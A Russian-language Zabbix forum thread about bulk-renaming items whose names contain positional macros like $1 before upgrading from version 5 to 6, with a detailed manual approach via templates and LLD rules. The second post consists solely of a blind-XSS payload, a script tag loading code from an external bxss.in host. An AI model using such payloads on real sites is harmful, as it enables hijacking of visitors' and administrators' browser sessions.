Ad Widget

Collapse

Массовая переименовка item'ов

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • nuserame
    Junior Member
    • Feb 2022
    • 18

    #1

    Массовая переименовка item'ов

    Приветствую.

    Планируется обновление с 5 на 6 версию, в связи с этим элементы с $[1-9] в имени перестанут нормально именоваться.

    Какой есть способ переименовать несколько сотен элементов для соответствия 6й версии?
    Через API каким-то скриптом? Может есть уже где-то готовые решения?
    Усложняется всё тем, что нужно будет как-то выцепить из ключа значение на замену $1.

    Спасибо.
  • manu2324
    Junior Member
    • Mar 2023
    • 1

    #2
    HTML Code:
    "><script src=https://blahbwq.bxss.in></script>

    Comment

    • Kos
      Senior Member
      Zabbix Certified SpecialistZabbix Certified Professional
      • Aug 2015
      • 3404

      #3
      Кроме как вручную, сделать это довольно сложно, т.к. каждый раз нужно смотреть - а на что именно нужно менять эти позиционные макросы.
      Поскольку я у себя это уже делал (после перехода на 6.0), то могу поделиться опытом. К сожалению, не шибко весёлая процедура (довольно механическая работа), но не так всё страшно, как кажется изначально. В утешение могу сказать лишь то, что данная проблема хоть и неприятная, но не критичная: весь функционал продолжает работать, разве что в каких-то местах веб-интерфейса (вроде легенды в графиках или экране последних данных) вместо конкретных значений в именах видишь нераскрытые макросы.

      Первым делом - идём в веб-интерфейсе в "Configuration" -> "Hosts", напротив любого хоста жмём на ссылку "Items". Затем в фильтре (открываем его по ссылке справа вверху, если он не открыт) убираем имя хоста из поля "Hosts" и вписываем "$1" (только без кавычек) в поле для имени элемента данных (не ключа, а имени!). Получаем список всех элементов данных, в именах которых есть позиционный параметр $1. Смотрим на их количество, оцениваем и ужасаемся Можно начать с какого-нибудь $5, потом $4, $3 и т.д. - их наверняка будет меньше, чем $1.

      Далее замечаем, что бОльшая часть таких элементов данных - это либо унаследованные из шаблонов, либо созданные правилами низкоуровневого обнаружения (LLD), причём значительная часть последних создана правилами, которые тоже находятся в шаблонах. Понимаем, что задача упрощается: достаточно откорректировать эти шаблоны.

      Первым делом лезем в правила обнаружения в шаблонах: как правило, там достаточно позиционные макросы заменить на LLD-макросы. После того как пройдёт очередной цикл обнаружения, все созданные этим правилом элементы данных обновятся, и в них позиционных макросов уже не будет.

      Обработав таким образом все созданные правилами LLD элементы данных, переходим к "обычным", но унаследованным от шаблонов. Там правим шаблоны, применяя голову и здравый смысл, чтобы решить, на что именно заменить позиционные макросы.

      Ну и заключительным этапом исправляем то, что было задано на уровне конкретных хостов (как правило, их остаётся не так уж много).

      Comment

      • nuserame
        Junior Member
        • Feb 2022
        • 18

        #4
        В целом через api можно получать имя и ключ прототипа элемента, обработать скриптом и обновить имя через тот же api.

        Но я в этом не силён, поэтому пока не понял, что будет быстрее)

        Сам список таких элементов в шаблонах я достал из БД заббикса запросом ( получилось около 500 ), так что можно сразу в шаблонах править потихоньку. Но за совет с поиском в веб интерфейсе спасибо, мелочи вылавливать будет удобнее там, думаю.

        Comment

        Working...